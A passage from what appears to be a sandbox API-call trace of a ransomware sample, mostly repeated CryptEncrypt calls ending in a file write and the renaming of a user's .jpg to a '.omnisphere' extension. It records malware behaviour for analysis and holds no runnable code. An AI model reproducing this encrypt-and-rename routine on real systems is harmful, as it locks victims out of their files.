pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.146] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.147] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.148] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.149] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.152] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.152] CryptReleaseContext (hProv=0x163c0e0, dwFlags=0x0) returned 1 [0063.152] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1414c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.152] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.152] GetProcessHeap () returned 0x1600000 [0063.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27a) returned 0x1652ce0 [0063.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\duv6 w1yq.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\duv6 w1yq.jpg.omnisphere")) returned 1 [0063.153] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\DUv6 W1yQ.jpg.omnisphere.id") 